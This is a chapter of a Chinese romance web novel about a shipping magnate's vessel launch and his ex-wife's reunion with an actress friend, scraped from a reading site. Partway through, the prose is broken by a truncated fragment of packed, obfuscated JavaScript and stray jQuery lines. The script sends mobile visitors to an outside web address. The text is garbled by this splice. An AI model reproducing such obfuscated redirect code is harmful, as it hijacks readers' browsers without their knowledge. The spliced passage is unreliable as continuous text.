默认冷灰
24号文字
方正启体

100. 第 100 章

作者:找一颗糖本书字数:K更新时间:
    伴着渠殊同的一声令下,钢铁铸成的庞然大物汽笛长鸣,黑色浓烟从烟囱中滚滚冒出,“渠氏远洋一号”正式起航。


    渠殊同缓缓从船头搭建的高台上走下,正接过渠扬递来的帕子擦手,旁边一位头戴鸭舌帽的年轻男人迎了上来,献宝一般对着渠殊同点了点胸前挂着的照相机:“渠先生,都拍到了,我回去就马上写报道,头版头条已经预留好了,今日一定可以见报!”


    渠殊同含笑颔首,旁边的渠扬却瞥年轻男人一眼,语气里很是怀疑:“船上的最佳机位,渠先生可是只给了你一个人,要是拍毁了,连个补救的机会都没有,你可得小心些个。”


    那年轻男人顿时涨红了脸:“我在法兰西读书时,留法学联和公使馆的各项活动,全是我负责拍摄和报道的,就是在上海《新闻报》工作的时候,我也从来没有出过纰漏!你不必怀疑我的专业素养!”


    渠殊同不赞同地瞥了渠扬一眼,摇摇头,正想说什么,忽然,船舷旁正在清场的船工们一阵惊呼,竟还有人飞快闪躲到老远,一副惊悚到不可自抑的模样,两腿战战发抖。


    还有人高声喊着:“渠先生!渠先生!快来看啊!”


    站在一起的渠殊同三人都被吸引了视线。


    戴着鸭舌帽的男人敏锐察觉到了什么,立时抓起照相机,身形灵敏,穿过围拢在一起探头探脑的船工们,几下就挤到了最前面。短暂的吃惊之后,他举起相机,闪光灯闪烁,“咔嚓咔嚓”响个不停。


    渠殊同缓缓走了过去。


    这里刚刚举行过三牲献祭仪式,血腥气犹未散尽,锚链舱积血深逾三寸,此刻,竟有一大群透明钩虾聚在一起,争相舔舐着血痕,就是粗略估计,最少也有几百条之多。


    这般罕见之景,就连经验最为丰富、已随船出海了大半辈子的老船员们都没见过。


    大家面面相觑,正不知如何是好,已有一位初出茅庐的年轻小伙从船舱里提了一罐雄黄酒出来,跃跃欲试就要泼下去,嘴里还嚷着:“哪里来的古怪玩意儿,还不赶紧滚到一边去!看爷爷我让你们变成醉虾,捞起来下酒吃……”


    正要兜头泼出,却被旁边伸来的一只指节粗壮的大掌按住,顿时动弹不得。


    是刚才带头祭祀的老海员。他的脸上全是皱纹,刻满了风霜之色,望着眼前异象,神情沉凝,思索了许久,才将视线投向安静站在旁边的渠殊同:“渠先生,您看这……”


    顿时,将这里围得里三层外三层的海员们齐刷刷望向渠殊同,等待着他的决断。


    甲板上一时落针可闻,只能听到耳边的海风,呼呼作响。


    在众人灼灼注目下,渠殊同沉默着,注视着海面。


    透明的钩虾吸饱了鲜血,身子便变成浅红一条,聚在蓝色的海水中浮浮沉沉,却并不离去,更显出种带着血色的怪异之感,让人不自觉对接下来的漫长的未知旅程生出些畏惧之情。


    有那胆子小一些的,脸上已经出现了明显的犹疑之色,看着渠殊同欲言又止,一副恨不得想要立刻跳海逃离的神情。


    在老海员的压制和现场氛围的感染下,年轻海员端着酒坛的手渐渐落下。


    就在他准备彻底放开酒坛挂绳时,忽地,一只大掌托在了坛底,从他手中接过了酒坛的重量。


    酒坛重新被举起。年轻海员惊讶抬眸,却正看到一道颀长身影立在他面前,也立在所有人面前,只留给他们一道脊梁挺直的背影。


    渠殊同下颌线崩得很紧。他右手握着酒坛,没有丝毫犹豫,手掌翻转,将满坛雄黄倾洒而下。


    顿时,甲板上弥漫着浓郁的黄酒香味,甚至盖过了之前的血腥之气。


    那些聚集在一起的钩虾被这突如其来的酒雨笼罩其中,明显慌乱起来。


    它们互相拥挤着,拼命想要逃开这浓郁的酒气,红色的身体摇摇晃晃,无头苍蝇一样左冲右突,却渐渐结成了一个隐约的人形倒影。


    袍角猎猎,身姿笔挺,就是五官模糊,也能看出气度不凡,睥睨果敢。


    海员们的视线从那个人形倒影缓缓上移,不约而同地落到了正立在船头、与虾群结影如出一辙的那道身影上。


    仿佛时间都暂停了。没有人开口,没有人移动,众人的表情从惊骇渐渐转为惊喜,到了最后,甚至染上了些带着狂热的敬畏。


    不知过了多久,伴着刺目闪光灯的“咔嚓”一声快门声音,惊醒了在场众人。


    老船员第一个反应过来,急急回身,也顾不上去取刷子,直接以拳为笔,满沾朱砂,左手倒书一个“渠”字用以封舱,随后,双膝跪地,双臂高举,一敬天,二敬海,三敬“渠”字,额头磕在甲板上,久久不曾起身。


    在他的带领下,越来越多的海员模仿着他的动作,敬天敬海敬渠字。人潮一层层低矮下去,到了最后,就连渠扬和那记者也单膝触地,深埋着头,被神秘的大海所折服,为接下来的航程而祈祷。


    只剩下渠殊同一人依旧站着。他回身,看向甲板上众人,神情温和却不怒自威。


    年轻男人五官英俊,侧颜线条流畅凌厉,阳光为他周身镀上一层金边,伴着跳跃的钩虾和随之飞溅而起的水雾,在他身后,竟隐隐出现一道彩虹。


    渠殊同的这张照片被刊印在《中西》的头版之上,单独占了小半幅版面。剩下的文字则围绕四周,以时间为顺序,将“渠氏远洋一号”下水仪式全程刊载。


    也不知这报道的主笔是谁,用词精准,描述详实,让看报纸的人也似身临其境,亲眼见到了三魂归位和三牲献祭的繁冗盛大,龙王显灵和钩虾结影的神秘瑰丽。尤其是渠殊同那张临风独立、身披霞虹的照片,更是成为江阳城大街小巷的热议对象。


    与之相对应的,《中西》一战成名,从一家寂寂无名的新创小报,一跃成为发售量仅次于《申报》、《新闻报》的东南第三大报。


    毓琼当天便看到了《中西》的报道,而那一天,和接下来的三天,风头正盛的渠殊同没有出现在章华公司。


    毓琼倒是可以理解他的缺席。以她这几日在街头巷尾亲眼所见的,姑娘小姐们对着《中西》刊登的那张渠殊同照片的痴狂模样,她都能想象到,渠殊同身边围绕着的是如何疯迷的狂蜂浪蝶。


    毕竟,还有思想开放的小姐当街宣称:“有大房太太又如何?不说渠家姨太太的位置还是空的,就说能与这般男子春风一度,我们也是大大占了便宜的。”


    这般惊人想法,就连正经出洋游学的毓琼都从未有过,现在却从一位年轻稚嫩的小姐口中听到,她一时不知是不是该感慨当今思想解放之风气散播迅速,出神了片刻,无奈叹气,正要提笔重新画图,忽地,那张她看了无数遍、已很是熟悉的渠殊同的照片,再次出现在她面前。


    “你怎么还有心情在这里做衣裳?我跟你说,你这位渠太太可得要小心了,现在外面多的是对你的位置虎视眈眈的女人,还不抓紧看好你先生?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005082|160517||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >一位身穿洋装,头戴礼帽的年轻小姐立在毓琼旁边。她脸蛋极小,戴着一副最时兴的黑色墨镜,几乎将整张脸蛋遮去一大半,只留下鲜红的唇瓣张张合合,说话却毫不客气。


    毓琼一点儿都不恼怒,反而满脸惊喜,站起身拥抱她:“长天!你回来了?”


    年轻小姐摘下墨镜,露出精致到堪称完美的五官,正是当今最红的女明星,毓琼许久未见的至交好友,芈长天。


    芈长天一把推开毓琼,染着鲜红指甲的纤纤素手拿起那张报纸,又往毓琼脸上拍:


    “别关心我了,跟你说正经的呢。现在你家渠先生可是不少小姐的梦中情人,上海风气可比江阳开放多了,我走到哪里,哪里就在议论他,我都听到好几个版本的自荐枕席计划了。身为你最好的朋友,我实在是听不下去了,赶紧回来提醒你一句,她们都是认真的,你可千万别不当回事啊!”


    毓琼耸肩,神情轻松,似乎一点儿都没放在心上:“我跟你说过,我们离婚了。渠太太的位置,各凭本事,她们尽管去争好了。”


    芈长天一双漆黑眸子盯着毓琼,暗自嘟囔:“说得好听,在渠殊同心里,谁能争得过你啊。”


    毓琼没听清她的小声念叨:“你说什么?”


    “没什么。”芈长天立马换上一副笑脸,抻着脖子去看毓琼面前摆着的设计稿,“我说,戴大设计师,你到底什么时候发布新品?我都没有衣服穿了!你知道对于我这样的女明星来说,没有新衣服穿是多么可怕的一件事情吗?你还不赶快努力努力?”


    毓琼被她这幅理直气壮的样子气笑了,伸出一根指头点点她的眉心:“刚刚不是还嫌弃我做衣服吗?我忙着呢,你且等着吧。”


    “你在忙什么啊?你看看,渠殊同的转型多成功啊!你的章华公司呢?都沉寂多久了,一款新品也不发布。”


    芈长天挥开她的手,搂上毓琼的肩膀,满脸沉痛:“我理解你,但是你可要努力啊。离婚不算什么,狗男人竟然过得比咱们好,那不能够!”


    毓琼被她逗笑了。芈长天名义上说是来提醒她,不过是担心她受离婚打击,回来陪着她罢了。


    她不说,她也懂。


    她也知道她懂,也就没必要明说。


    两个姑娘相视而笑。毓琼丢开铅笔,大手一挥:“你说得对,那不能够!走,今日我请你去和逊饭店西餐厅吃饭,咱们去吃大餐,羡慕死那个狗男人!”


    两人当真出了门。


    芈长天现在已经声名鹊起,全国上下,就没几个人不认识她。毓琼与她一起,不得不也包着头脸,躲躲藏藏。


    倒很是刺激。


    两人做贼一样吃了饭,又做贼一样偷偷摸摸回了家。毓琼将喝得歪歪斜斜的芈长天送到隔壁房间休息,刚才回到自己房间,打开电灯,瘫在床上松了口气,忽地,玻璃窗处传来一声轻叩,像是被什么东西砸到窗上,又“骨碌骨碌”滚了下去。


    领居家的小孩顽皮,玩弹弓却不小心脱靶打到她的窗户,这也不是第一次了。


    毓琼见惯不怪,掀开眼皮朝那边张望一下,继续瘫在床上不动。


    可过了一会儿,又是一声。然后,又是一声。


    这便不是失误了,定然是存心的。


    毓琼喝得也有些头脑发昏。酒壮人胆,她一个翻身从床上站起来,气势汹汹走到窗边,一把推开了两扇玻璃,将脑袋伸出去,大吼一声:


    “谁?是谁?!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)